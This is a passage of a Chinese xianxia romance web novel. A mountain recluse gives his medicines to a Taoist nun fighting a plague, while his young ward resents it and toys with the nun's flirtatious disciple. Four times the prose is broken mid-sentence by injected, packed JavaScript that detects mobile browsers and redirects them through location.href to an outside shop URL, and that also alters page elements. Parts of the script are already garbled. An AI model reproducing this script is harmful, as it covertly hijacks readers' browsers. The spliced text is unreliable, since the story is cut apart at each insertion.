他似乎心有所感,或许是冥冥中的天机示警,或许是源自他深厚修为对世间疾苦的天然共鸣。雪闻笙自然是说不清楚的,她只是察觉到,明决平日里沉静无波的眼眸深处偶尔会掠过一丝凝重,他不再像过去那样,有大量时间坐在露台清修,或在书房与她一同静读。 他变得忙碌起来。 原本就规模可观的药圃,被他亲手开辟出新的区域,木心童心两个也忙个不停,那些他往日里珍而重之,往往数年才得一见成效的灵药,此刻竟被他以自身精纯元气辅以阵法催生,不计成本地扩大种植。白天,他几乎都耗在了药圃和药房里,素白的身影在姹紫嫣红的药草间穿梭,或是被药房内氤氲的雾气与隐隐的药香笼罩。 他这般模样,雪闻笙无发专心读书了,每天都扒在书房窗口,托着下巴,看着他在庭院里忙个不停,木心捧着花具侍奉在一侧。明决正俯身检查一株新移栽的“七彩明心兰”,指尖流淌着淡淡的青色光华,轻柔地抚过兰草有些萎靡的叶片,那专注的神情,仿佛在对待一件稀世珍宝。阳光落在他棱角分明的侧脸上,柔柔的镀上了一层金边,却无法驱散他眉宇间那抹若有若无的忧色。 看着他忧虑,雪闻笙也拧起了眉头,她可见不得他不开心。 “明决,”雪闻笙终于忍不住跑了出去,蹲在他身边,好奇地看着那株兰草,“这花儿好像不太精神?你最近种了好多好多药草,是要炼制什么很厉害的丹药吗?” 明决没有立刻回答,直到将那缕青色光华完全渡入兰草根部,看着叶片以肉眼可见的速度重新舒展挺立,他才直起身,从木心手里接过洁净的白布擦了擦手。 “暂时无事发生,未雨绸缪,有备无患。”他言简意赅,目光扫过眼前这片生机勃勃的药园,眼神却仿佛穿透了它们,望向了遥远的天际,“山下,恐怕很快就不太平了。” 他声音依旧平稳,但雪闻笙却从中听出了一丝不同以往的意味。那是一种责任,一种居于高位者,对脚下山河与黎民百姓的天然牵挂。 她不懂他的世界,什么天机感应,什么天下苍生,对她而言都太过宏大和遥远。她只知道,这段时间明决变得很忙,忙到和她一起用膳的时间都压缩得极短,忙到再也无暇指点她写字,忙到连夜晚的静坐清修,似乎都带着一种迫在眉睫的紧迫感。 一种前所未有的感觉,悄然在她心底滋生——寂寞。 这种寂寞,并不是一个人的孤独,尘寂山鸟语花香,并不冷清。这种寂寞,是源于那个她目光习惯性追随,心神习惯性依赖的身影,跟她骤然拉开了一段距离。她第一次觉得,这偌大的山,空荡荡的殿宇竹楼,安静得让人心慌。她开始数着时辰,盼着明决能从药房或丹房里出来,哪怕只是片刻,喝一口她精心冲泡,已经放温了的清心茶。 她还发现,不知道从什么时候开始的,明决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯,新制作了一批丹药,需掌控火候,过程不能中断。”他简单解释,顿了顿,看着她说,“你不必担心我,自行修炼功课,即便没有人督促,也不要懈怠。” 难得有机会与他单独相处,雪闻笙哪里肯轻易放过,她连忙道:“我的功课每天都有认真在做!明决,我能不能......能不能帮你做点什么?比如,帮你分拣药材?或者帮你看着丹炉的火?我保证会很小心,很仔细的!” 她仰着脸,眼中充满了渴望。她想参与他的世界,想分担他的辛劳,哪怕只是最微末的小事,只要能让他轻松一点点,能让他有多一点时间休息,或者......只是能让她有多一点时间待在他身边,看着他。 明决看着她亮晶晶的眼眸,那里面纯粹的渴望与关切,像一簇小小的火苗,熨帖着他因为感知到灾厄,而略显沉重的心。他默了片刻,点了点头:“也好。随我来药房,我教你如何研磨‘清心藤’,但制药之术,需得细心,不急不躁。” “嗯,嗯,嗯!”雪闻笙立刻点头如捣蒜,脸上绽放出灿烂的笑容。只要能和他在一起,哪怕是做最枯燥的研磨工作,她也觉得无比开心。 接下来,雪闻笙便成了明决的小助手。她学得极快,明决教她分拣药材,她便能根据颜色、气味、质地,将混杂的草药迅速归类,明决教她研磨药粉,她便能控制手腕力道,磨出细腻均匀的粉末,明决教她看顾炉火,她便能牢记他吩咐的火候变化,寸步不离地守着,办事非常牢靠周到。 她沉浸在能帮助明决的喜悦里,觉得与他相处的每一刻都充满了意义。她喜欢看他专注制药时微微蹙起的眉头,喜欢听他简洁精准的指导,甚至丹房里那浓郁得有些呛人的药味,她都喜欢,因为那里面,丝丝缕缕藏有他的气息。 但雪闻笙这份充实的平静,很快便被一位不速之客打破了。 4. 第4章 这日,天空澄澈如洗,山间云雾淡薄。 雪闻笙正按照明决的吩咐,在庭院里小心翼翼地采集一些“玉露花”的花瓣,用于炼制解毒散。忽然,花瓣颤了几下,有些不对劲,山上笼罩着明决设定的无形阵法,南边朱雀方位传来一丝极细微的波动。 雪闻笙拍了拍尘土,直起身,警惕地望向山道方向,心想,一定是出什么事了。 不多时,两道模糊的人影出现在视野尽头,缓缓行来。 走进了她才看清楚,是一位女子,身着月白云纹道袍,手持一柄白玉拂尘,衣袂飘飘,仿佛踏云而来。她生得极美,不是雪闻笙那种不谙世事的娇憨之美,而是眉目如画,气质空灵,慈眉善目间自带一股悲天悯人的雍容气度,令人见之忘俗。 她身后,跟着一个约莫十五六岁的小男童,穿着朴素的青色道童服饰,眉清目秀,眼神灵动,身后面背着一个几乎比他半人还高的大药篓,却显得毫不费力。 雪闻笙站着没动。 身后的门“吱呀”一声打开了,明决从容走出。 那女子行至竹楼前的庭院外,停下脚步,对着廊檐下的明决,打了个稽首。她声音清越如玉石相击:“贫道妄月,携童子洛逍,冒昧来访尘寂山。久闻道友仁心圣手,山中灵植丰茂,特来拜会,并有所求。” 明决淡道:“不必多礼。” 他目光落在妄月真人身上,眼神默默掠过一丝审察,随即化为平和。他看得出,对方气息纯净,道基深厚,确是正道中人。他亦还了一礼,语气虽依旧清淡,却比平日多了几分对待同道之人的尊重:“妄月真人,在下明决,静候多日了。请入院叙话吧。” 雪闻笙仍旧站着,手里还捏着几片玉露花瓣,看着那突然出现的女子,还是个来历不明,气质非凡的女子,又看看对她态度明显比对旁人温和几分的明决,心里没来由地“咯噔”一下,一种莫名的危机感悄然升起。 妄月真人步入庭院,目光扫过四周生机盎然的植株,眼中流露出赞叹之色:“道友这尘寂山,果然是方钟灵毓秀之地,我们一路上来,所见之处皆灵气充沛,诸药繁盛,实乃世间难得的净土,道友居功甚伟。” “真人过誉,哪有什么功劳,不过是山野之人聊以自娱罢了。”明决引她在院中石桌旁坐下,雪闻笙犹豫了一下,也默默跟了过去,站在明决身侧稍后的位置,像一只警惕的小兽,悄悄打量着这位不请自来的“客人”,好奇她的身份,她的意图。 妄月真人微微一笑,笑容温煦,仿佛能融化冰雪:“是道友过谦了。实不相瞒,贫道此次贸然来访,实因平乐镇上突发瘟疫,来势汹汹,百姓苦不堪言。贫道的道观在平乐附近,不忍见生灵涂炭,故四处寻觅良药,偶遇道友青岚,可惜青岚道友不通药理,有心无力,极力推崇尘寂山谪仙阁下之名,故特来求助。” 明决闻言,道:“青岚兄谬赞了,我早先与他通过书信,对此事略有耳闻,但不知具体事态。”他神色一凝,问道:“平乐镇瘟疫,详情如何?” 妄月真人叹了口气,道:“说来此疫甚怪,初起如风寒,继而高热不退,浑身浮现紫黑斑块,药石罔效,死亡极快。贫道初步推断,恐非寻常时疫,或有邪秽之气掺杂其中。”说到此处,妄月真人神色沉痛万分,“贫道虽竭尽全力,以自身真元为百姓暂时压制病情,但终究是治标不治本,需大量清心解毒,扶正固元的灵药服用,方能遏制疫情,挽救生灵。” 明决沉默片刻,眼中了然:“原来如此。前些时日我心绪不宁,感应到山下怨气与病气交织,果然是有灾劫发生了。”他看向妄月真人,目光中带着赞许,“真人心怀慈悲,不惜损耗自身修为救助百姓,此等仁心,我辈楷模,令人敬佩。” 妄月真人轻轻摇头,拂尘微扫,带起一缕清风:“众生皆苦,我等修道之人,若不能以所学济世救人,与山石草木何异?只是,人力时有穷尽,见那垂死孩童无助眼神,贫道......心中实在难安。”她话语诚挚,带着深切的悲悯,着实让人动容。 明决颔首,深以为然:“真人所言极是。道法自然,亦贵在济世。太上忘情,非是无情,乃体察天道,行无为而治。然见众生疾苦,若袖手旁观,岂非违背天道仁心?当以有用之身,行有为之法,解其倒悬之苦。” 妄月真人眼中闪过一抹异彩,接话道:“道友见解精深。贫道以为,我辈修行,既在超脱自身,亦在渡化众生。犹如舟筏,既已渡河,当思回渡他人。此次瘟疫,虽是劫难,却也是考验,考验我等道心是否坚定,是否真能做到‘无缘大慈,同体大悲’。” “妄月普度,真人善哉。”明决语气平静却坚定,“真人既有此宏愿,在下岂能置身事外?尘寂山所有草药、丹药,但凭真人取用。若有需要,在下亦可亲自下山一行相助。” 他此话一出,第一个起反应的就是站在他身后的雪闻笙,她猛地抬起了头,不敢置信地看着明决的背影。 他刚刚说,所有草药,所有丹药都给人家? 他这些时日不眠不休,耗费了那么多心血,就是为了这些啊,如今这个才第一次见面的女人张张口几句话,就要全部拿走?甚至......他还要亲自下山?离开尘寂山,去那个有可怕瘟疫的地方? 一股没来由的怒气,瞬间冲上了雪闻笙的天灵盖,这些日子以来她为了能帮助明决所积攒的所有欢喜一下子全没了,她现在觉得心里堵得厉害,心脏像被什么东西狠狠攥住了,又闷又疼。 “道友慷慨,贫道代山下百姓,谢过道友!”妄月真人站起身,对着明决深深一揖,脸上满是感激与敬重。 “真人不必多礼,救死扶伤,本是医者本分,亦是修道之人应为之事。”明决虚扶一下,语气依旧淡然,却自有一股决断与仁义之气。 他随即吩咐道:“闻笙,你去将西厢药房内,第三排架子上的所有‘清瘟化毒丹’与‘培元固本散’取来,再去药圃一趟,跟木心童心一起将成熟的‘七星草’、‘月华花’、‘地根藤’尽数采集,交给真人。” 他的话语条理清晰,安排得迅速而周到,显然早已将山中药物盘点清楚,随时准备应对此类情况。 雪闻笙听完却站在原地,脚下像生了根一样,没有动。 “闻笙?”明决微微侧首,看向她,目光中带着一丝询问。 雪闻笙紧紧咬着下唇,手指用力地绞着衣角,胸脯微微起伏。她抬起头,目光里第一次带着明显的小情绪,她直直地看向明决,又飞快地扫过旁边那位气质高华,与明决言谈甚契的妄月真人,带着委屈和不解的怒火,冲口而出: “那些药......是我们辛辛苦苦种的!是你没日没夜制作的!件件都是珍宝!为什么......为什么她一来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892637|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就都要给她?!” 她的声音带着颤抖,打破了庭院中原本充满禅意与悲悯的对话氛围。 空气,瞬间凝滞起来。 妄月真人有些讶异地看向她,这个一直安静待在明决身后,此刻却像只炸毛小猫般的少女,侧立一旁的洛逍更是瞪大了眼睛,好奇地打量着雪闻笙。 明决眉头微蹙,转过身,正面看向雪闻笙。他的目光依旧平静,却带着威严,说是怒气倒也谈不上,算是一种基于绝对道理之上的审视吧。 “闻笙,你可知,药材之用,在于救人。囤积于山,与顽石何异?眼下有数千百姓,性命垂危,亟待救援。与数千生灵相比,区区草药丹药,不值一提。” 他的话语,字字如锤,敲打在雪闻笙的心上。这番道理如此光明正大,无可辩驳,衬得她那点因为私心而产生的怨怼,是那样的狭隘和......不堪。 她觉得他说的对极了,可不知道为什么,她就是觉得心里委屈。 再看着明决那双深邃的眼眸,里面没有责怪,好像有一种对她不明事理的淡淡失望,还有一种更为宏大的,她无法理解的慈悲。 这种认知,像一盆冰水从她头顶无情浇下,全身都淋了个透心凉,让她瞬间清醒了。 是啊,她凭什么生气呢?她有什么资格阻拦?在他心里,那些素未谋面的百姓的性命,远比这些草药重要得多,他根本就不知道她的那点小心思。 雪闻笙的脸色一下子变得苍白,她低下头,不再看任何人,转身飞快地跑开了,冲向药圃的方向,脚步踉跄,仿佛身后有什么可怕的东西会吃人在追赶她。 明决看着她逃离的背影,眉头动了一下,但终究没有唤住她。 妄月真人轻轻叹息一声,语气温和:“童言无忌,道友不必介怀。这位姑娘是......?” “在此寄住养伤。”明决不欲多言,将话题引回正事,“真人请随我来,我们先清点丹药。至于药材采集,稍后我会亲自处理。” 妄月真人点了点头,目光若有所思地瞥了一眼雪闻笙消失的方向,不再多问,遂道:“有劳道友。洛逍,等会儿我们也一起帮忙。” 庭院中,对话再次回归到如何应对瘟疫,如何分配药物的正题上。然而,那悄然弥漫开的,属于少女成长中的第一缕酸涩与裂痕,却像投入静湖的石子,漾开了一层层涟漪,久久未能平息。 其实她跑开后,并没有走远,躲在庭院外一株茂盛的凤凰木后,背靠着粗糙的树干,任由冰凉的树皮硌着脊背,仿佛这种粗糙的疼痛才能让翻腾的心绪稍微平复。 耳边还能听到远处明决与妄月真人清晰的对话声,每一个字都像针一样扎在她心上,密密麻麻的。 她不懂什么天下苍生,不懂什么慈悲大道。 她只知道,她第一次那么想靠近一个人,那么想帮他,那么想让他多看自己一眼。 可他的世界那么大,心里装着山河,装着百姓,装着道义。 而她的世界,不知道从何时起,好像只剩下了一个他。 现在,连这个小小的世界,也要被旁的什么人,被那些更“重要”的事情,轻易地挤占了去。 前所未有的委屈将她紧紧包裹,她不明白这种复杂难言的情绪究竟是什么,她只知道,她心里很不是滋味。 非常,非常的,不是滋味。 5. 第5章 明决那句“不值一提”,像带着山间寒意的晨钟,在雪闻笙心头撞响,余音嗡鸣,震得她那点因为私心而生出起的委屈七零八落。 雪闻笙不知不觉走到了茂密的药圃深处,蹲在一丛散发着清苦气味的药草后,把自己躲进去,将脸深深埋入膝盖。 她知道,自己的言行举止在明决看来是不对的,她做了错事,且错得离谱。 明决是那样光风霁月的一个人,心怀的是天下苍生,行的是济世大道。自己那点见不得光的小心思,在他那如同皓月般的慈悲面前,显得何其渺小,何其自私。 想到这里,她鼻尖忍不住有些发酸,接着眼前模糊一片,眼泪在眼眶里打转,被她死死忍住,她抬手狠狠抹了把眼睛,不能哭,至少不能在这里哭。她不想在那个妄月真人面前失态,更不想让明决觉得她是个不明事理,只会胡闹的小孩子。 她挣扎了许久,眼睛一眨不眨的盯着面前小花瓣,默默数着上面的纹路,“九十八,九十九,一百,一百零一......”直到感觉情绪稍微稳定了一点,她才慢慢从药圃里挪出来。 他们几个已经不在庭院里了,明决引着妄月真人往药房方向走去,显然是去清点丹药了。他们的背影,一个清冷孤峭,一个飘逸出尘,并肩而行,看在雪闻笙的眼里竟然有种说不出的......和谐。 雪闻笙的心又像是被细小的针尖刺了一下,微微的疼,虽然这是事实,但是她不想承认。 她整理了一下有些凌乱的衣裙和鬓发,迈着尽可能平稳的步子,走向药房。 药房的门开着,明决和妄月真人正在确认丹药的种类和数量。雪闻笙站在门口,没有立刻进去,低垂着头,盯着自己的鞋尖。 一行人里明决率先察觉到了她的存在,他停下话头,目光转向门口。 妄月真人也随之望去,看到去而复返的少女,她脸上依旧带着那抹温煦的微笑。 “明决......师父。”雪闻笙的声音低低的,带着一丝别扭的沙哑,她习惯对明决直呼其名了,可当着外人喊哥哥好像不太合适,想来想去,只能先把他称为“师父”了。 “方才......是我不对。我不该那样说话。”她始终没有抬头,手指紧张地抠着门框,“我......我现在就去采药。” 明决看着她这副明明紧绷着小脸,努力认错的样子,像一只知道自己闯了祸,耷拉着耳朵的小猫。他素来清冷的眼底,掠过一丝淡淡的缓和。他本就没有真正责怪她,只是点明事理好教她知晓,如今见她主动认错,便也不再计较。“知错能改,善莫大焉。药圃之事,便交给你了。” 妄月真人也适时开口,声音柔和:“姑娘心地纯善,只是年纪尚轻,对自己悉心养护的花草丹药付出良多,舍不得也情有可原,姑娘无需过于挂怀,贫道保证将它们物尽其用,绝不辜负主人家的一番殷切栽培。”她侧首对侍立在一旁的童子道:“洛逍,你去协助这位姑娘一同采摘药材,务必仔细,莫要损伤了灵植根本。” “是,师父。”那名唤洛逍的小道士立刻躬身应道,声音清脆,带着少年人特有的活力。 雪闻笙这才飞快地抬眸瞥了那童子一眼,约莫十五六岁的年纪,面容清秀,眼神灵动,嘴角似乎天生带着一点上扬的弧度,看起来很是机灵讨喜。 但她此刻心情不佳,对任何与妄月真人相关的人都带着一层无形的隔阂,淡淡地敛回目光,低声道:“不必麻烦了,我自己可以。” “不麻烦,不麻烦!”洛逍却已经几步跨到她面前,笑容灿烂,露出一排整齐的小白牙,“采药我最在行了!保证又快又好!姑娘,我们这就去吧,烦请前面带路。” 他一副天生自来熟地性子,热情的像一团小小的火焰,与雪闻笙此刻低落的心情格格不入。雪闻笙本想再次拒绝,但看到明决已经转身继续与妄月真人商讨事情,显然默认了这个安排,她抿了抿唇,不再多言,转身朝药圃走去。 洛逍立刻像条小尾巴似的,笑嘻嘻地跟在她身后。 时近正午,阳光明晃晃地洒在药圃上,各种草药花果舒展着枝叶,散发出浓郁的香气。若在平日,雪闻笙定会心情愉悦地沉浸在这片生机盎然里,但此刻,她只觉得这阳光有些刺眼,连带着空气里熟悉的药香,也掺杂了一丝令她烦闷的气息。 她招来木心和童心,给他们安排了采摘任务,她在心里估算了一番,问题不大,不会耗时太久。 然后她走到一片长势旺盛的七星草前,蹲下身,拿出小药锄和竹篮,开始按照明决教导的方法,小心地挖掘。她动作熟练,下手精准,避开主根,只取所需的部分,尽量不伤及植株元气。只是那抿紧的唇线和微蹙的眉头,泄露了她心底并未平息的闷气。 洛逍看见两个木头人做采摘工作这么熟练,比起真人不遑多让,刚开始有些惊奇,但想到这里可是尘寂山,明决前辈又是那样深不可测的修道高人,做几个称心如意的木头人自然不在话下,他很快收回目光,学着雪闻笙的样子蹲在旁边,没有立刻动手帮忙,而是双手托腮,歪着头,打量着这个绷着小脸的少女。 其实,他之前跟随师父进院时,一眼就注意到了这个站在明决前辈身后的小姑娘。 她穿着浅碧色的衣裙,站在那片姹紫嫣红的药草旁,明明神色有些警惕,却偏偏有种说不出的灵秀动人,就像清晨沾着露珠,初初绽放的花苞,干净得晃眼。 方才她气冲冲跑开,又低着头回来认错的模样,更是让他觉得有趣极了。他见过太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892638|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或矜持、或温顺、或故作成熟的女子,却从未见过像她这样,喜怒形于色,生气都生得如此理直气壮,偏偏又带着点可怜巴巴的小委屈,瞧着怪让人心痒痒的。 “喂,”洛逍看了她好半晌,忽然开口,声音里带着点笑意,“你生气的样子,还挺可爱的。”他就这么直接的把心里话说出来了。 雪闻笙正埋头跟一株根系特别发达的七星草较劲,闻言,手上动作一顿,却没理他,只当是耳边风吹过。 洛逍也不在意,自顾自地说下去,语气轻松自然:“像我师父和明决前辈那样,说话总是引经据典,高来高去的,多累啊。明明就是心疼明决前辈辛苦,直说不就好了?偏偏要说那些大道理,听着都让人头疼。还是你这样好,有什么不高兴,直接就说了,多痛快!这才是真性情!” 他这话说得大大方方,带着一种与他年纪不符的直率,仿佛雪闻笙刚才的失礼行为,在他眼中非但不是过错,反而成了难得的优点。 雪闻笙终于抬起头,第一次正眼看向这个聒噪的小道士。 阳光落在他脸上,将他本就清秀的五官映照得更加分明,那双眼睛尤其亮,像山涧里被泉水洗过的黑曜石,里面盛满了毫不掩饰的欣赏。 她心中微微一动。想着,这人倒是有趣,明明是他师父要来拿走明决辛苦积攒的药材,他作为徒弟,非但不觉得理亏,反而来夸她这个“反对派”。非我山中人,其心必异。 “你倒是会替你师父说好话。”雪闻笙垂下眼睫,继续手上的动作,语气不咸不淡,“我确实做的不对,明决心怀天下,是我狭隘了。” “我这哪是替我师父说好话?我这是实话实说!”洛逍立刻反驳,把身体也凑近了些,压低声音,带着点分享秘密般的亲昵,“我跟你讲,我跟着师父走南闯北,见过的人多了去了。那些所谓的名门闺秀、仙子淑女,一个个端着架子,说话拐弯抹角,无趣得很。像姑娘你这样,心思纯净,喜怒由心,才是真正难得的奇女子呢!” 他这番夸赞,可谓是别出心裁,掷地有声。若是个寻常不谙世事的少女,被他这般真诚又独特的赞美砸下来,只怕早就晕头转向,心生好感了。 雪闻笙却只是在心里冷笑一声。 奇女子?她不过是依着本心反应,何奇之有?这人嘴巴像抹了蜜,见人说人话,见鬼说鬼话的本事着实不小。 她面上不露分毫,只是手上的动作微微放缓,侧过头,似乎被他话语中的某些字眼吸引了注意力,轻声问:“你......跟着你师父,走过世间很多地方?” 她这一问,声音轻轻软软,带着一丝好奇,与她刚才冷淡的样子很不一样。那长长的睫毛像蝶翼般颤了颤,在眼睑下投下一小片阴影,显得格外惹人怜爱。 6. 第6章 洛逍见她似乎对自己的经历产生了兴趣,心中暗喜,立刻打蛇随棍上,话匣子彻底打开了,忙道:“那是自然!从南边的十万大山,到北边的万里雪原,东边的无尽之海,西边的大漠孤烟,不敢说全都走遍,但也见识过七八!” 他语气颇为自豪,“你可见过海上的日出?那才叫壮观!太阳从海平面跳出来的那一刻,金光万丈,整个大海都像是烧起来了一样!还有沙漠里的绿洲,明明四周都是黄沙,偏偏中间有一汪清泉,泉水边还长着甜得像蜜一样的果子......” 他开始绘声绘色地讲述起旅途中的种种奇闻趣事。会学人说话的彩色鹦鹉,夜晚能在森林里发光的蘑菇,住在高高雪山顶上,以雪莲为食的白猿,还有那些不同地方的有趣风俗,热情好客的部落,稀奇古怪的节日...... 他确实去过很多地方,但这番话里除了亲身经历过的,他还加了许多书上看的和自己想象杜撰的,这个年纪的少年人嘛,爱吹牛,爱炫耀,尤其在自己有好感的女孩跟前,更得要面子了。 他口才极佳,描述生动,时而会模仿几句古怪的方言,时而比划着奇特生物的样貌,把一个广阔,新奇,充满冒险色彩的世界,徐徐展现在雪闻笙面前。 雪闻笙安静地听着,偶尔在他讲述的间隙,适时地插上一两句,或适时表示一下惊叹:“真的吗?世上还有这样的地方?”,或是提出疑问:“那沙漠里的旅人,找不到绿洲怎么办?”,她每一个反应都恰到好处地满足了洛逍的倾诉欲和虚荣心,让他讲得越发兴致勃勃。 她手中的动作也慢了下来,似乎被他的故事深深吸引。那双清澈的眼眸,会为他描述的壮丽景象而流露出向往,时而因听闻某些危险遭遇而闪过一丝担忧。 在洛逍眼中,此刻的她,就像一张纯净的白纸,正被自己描绘上五彩斑斓的风景,充满了探索的渴望,却又因为未知而带着一丝怯怯的依赖。 他越看越是心喜,越讲越是投入。只觉得这少女不仅容貌灵秀,性子率真,而且聪慧好学,对自己讲述的一切都充满了兴趣和理解。这样一个美好,善良又单纯的姑娘,整日待在这清冷孤寂的尘寂山上,陪着那个虽然厉害但未免太过无趣的明决前辈,岂不是暴殄天物? 他心底悄悄滋生了一个大胆的念头。 “闻笙姑娘,你年岁比我略小,我直接叫你闻笙吧。”洛逍的声音不自觉地放得更柔,带着一种诱哄般的意味,“你看,这外面的世界多精彩,有那么多好玩好看的东西,有那么多有趣的人和事。整天待在这山上,除了草药就是经书,难道不觉得闷吗?” 雪闻笙正拿起一株新采的月华花,闻言,指尖轻轻拂过那柔软莹白的花瓣,没有立刻回答。阳光透过花瓣,几乎能看到里面纤细的脉络,她沉默的样子,带着一种易碎的美丽。 洛逍看着她纤长的睫毛在脸颊上投下的阴影,心中那股想要带她走的冲动更加强烈了,见她不答,他再接再厉,语气更加真诚道:“我师父常说,读万卷书,不如行万里路。修行之道,也在红尘历练。你看我师父和明决前辈,他们道法高深,不也是为了救济天下,才奔波劳碌吗?你若是一直困守于此,见识终究有限。不如......等此间事了,你跟我......和我师父一起下山去看看?我保证,带你见识所有你没见过的好玩的,吃遍天下美食!” 他目光灼灼地看着她,充满了期待。 他相信,自己描绘的这幅画卷,对于任何一个久居山中的无知少女,都有着难以抗拒的吸引力。更何况,他自认相貌不差,性格活泼,又对她如此欣赏体贴,她没理由不动心。 雪闻笙终于抬起头,看向他。她的眼睛依旧清澈,只是那清澈的底层,仿佛多了一丝洛逍看不懂的云雾。 “山下......真的有那么多有趣的事吗?”她声音轻柔,像一片羽毛拂过心尖,“我......我自小在山上长大,确实不曾见过,你可千万别骗我。” 她没有答应,也没有拒绝。但流露出的犹豫和向往,比直接的答应更让洛逍心跳加速。他心里觉得有戏!这姑娘果然心动了!他洛逍可真有本事! “当然是真的,真的不能再真的!要是你发现我骗人,就去告诉我师父,让我师傅怎么罚我都行。”洛逍拍着胸脯保证,兴奋得几乎要手舞足蹈,“只要你愿意,剩下的一切就全包在我身上!” “可是......”雪闻笙微微蹙眉,露出一丝为难,“明......我师父他......未必会同意。” “这个好办!”洛逍自信满满,“有我师父呢,让我师父跟明决前辈开口,前辈那般通情达理,定然不会阻拦。再说了,我们又不是不回来了,只是出去游历一番,增长见闻嘛!” 雪闻笙看着他信誓旦旦的样子,眼底那丝云雾后,闪过一丝讥诮。 果然是个被宠坏了的,自以为是的家伙啊,三言两语,就自以为摸透了她的心思,打起了要带她走的主意。 他以为她是什么?一只被关在笼中的金丝雀,只需描绘一番外面的天空,就会迫不及待地跟他飞走吗? 可笑。 她整天面对着不会说话的木心童心,有些无聊,今天难得来了“客人”,又是同龄,才有了兴致,配合着他的表演,不过是想看看他到底能说出多少“有趣”的话,心底在打什么算盘。如今看来,也不过如此,真肤浅,真幼稚。 她心里跟明镜似的。 洛逍的夸赞,看似真诚,实则轻浮,他的邀请看起来热情,其实不过是一时兴起的占有欲作祟。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892639|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢的,是他想象中的那个“天真烂漫,不谙世事、容易掌控”的单纯少女形象,而非真实的她。 真实的她,或许自己都还没有完全认清。但她知道,自己绝不会因为几句甜言蜜语和几段新奇的故事,就轻易离开尘寂山,离开......明决,那个清冷如月,在她心底投下巨大影子的人。 “那......到时候再说吧。”雪闻笙低下头,继续采摘药材,语气恢复了平淡,仿佛刚才那瞬间的向往只是洛逍的错觉,“还是先做完明决交代的事情要紧。” 洛逍以为她是女儿家害羞,不好意思直接答应。他连忙道:“对对对,先采药!这些粗活我来就好,你在旁边歇着,告诉我哪些需要采就行!我很快就能全部做好。” 说着,他不由分说地抢过雪闻笙手中的小药锄和篮子,干劲十足地开始挖掘起来,动作虽然不如雪闻笙熟练精准,倒也像模像样,嘴里还不停地念叨着:“闻笙,你就在旁边看着,指点我就行,千万别累着了......” 雪闻笙看着他殷勤备至的样子,心中毫无波澜,甚至觉得有些无聊。 她站起身,走到旁边一株朱果树下,寻了块干净的石块坐下,真的就只是看着洛逍忙碌。 阳光透过灵果树叶的缝隙,在她身上投下斑驳的光点。她支着下巴,目光看似落在洛逍身上,实际早已飘远了。 她在想,明决和那位妄月真人,此刻在药房里,又在谈论些什么天下大事,济世之道呢? 她从来没听过明决一天之内说这么话,其实......明决之前是不是一直很寂寞呢?他会不会......觉得那位真人,才是与他志同道合的人? 这个念头一旦升起,心里就变得有些发闷,让她刚刚因为戏弄了洛逍而升起的那点微不足道的得意,消散的无影无踪了。 比起洛逍这种浮于表面的讨好和算计,明决那拒人于千里之外的清冷,那专注于自身世界的沉默,那宏大而遥远的慈悲,才更让她心绪难平,牵肠挂肚。 她轻轻叹了口气,叹息声极轻,很快便消散在药圃馥郁的香气和洛逍忙碌的声响中。 洛逍一边卖力地采着药,一边时不时偷眼看向树下安静坐着的少女。见她神情似乎有些落寞,可能正在对山下世界的向往与当下生活在纠结吧,这么一想,他心中更是怜爱之情大涨,暗暗下决心,无论如何也要说服师父和明决前辈,带这个美好的姑娘离开这座“牢笼”,去见识外面真正的广阔天地。 他却不知道,他所有的心思算计,在那看似纯净懵懂的少女眼中根本不屑他的伎俩,早就洞悉了他的目的,却依旧配合着他,演着一场他自以为主导的戏。 究竟是谁在陪着谁玩呢? 药圃之中,阳光正好,草药芬芳。 7. 第7章 药房内的清点与商议告一段落。明决与妄月真人走出来的时候,神色皆比先前更为凝重了几分。平乐镇的疫情显然不容乐观,所需丹药数量庞大,远超妄月真人最初的预估。 “多谢道友鼎力相助,这些丹药,足以解燃眉之急,挽救无数生灵。”妄月真人手持拂尘,对着明决再次郑重一礼,言辞恳切。 “分内之事,真人不必挂怀。”明决还了一礼,目光扫过庭院中已经打包好的几大筐药材,以及药房内整理出的数个药箱,“药材与丹药皆已齐备,真人可随时启程。” 这时,雪闻笙带着木心,童心,与洛逍也从药圃那边走了过来。 洛逍额角带着薄汗,脸上却洋溢着完成任务的轻松,还有一种抑制不住的兴奋。他快步走到妄月真人身边,低声唤了句:“师父......” 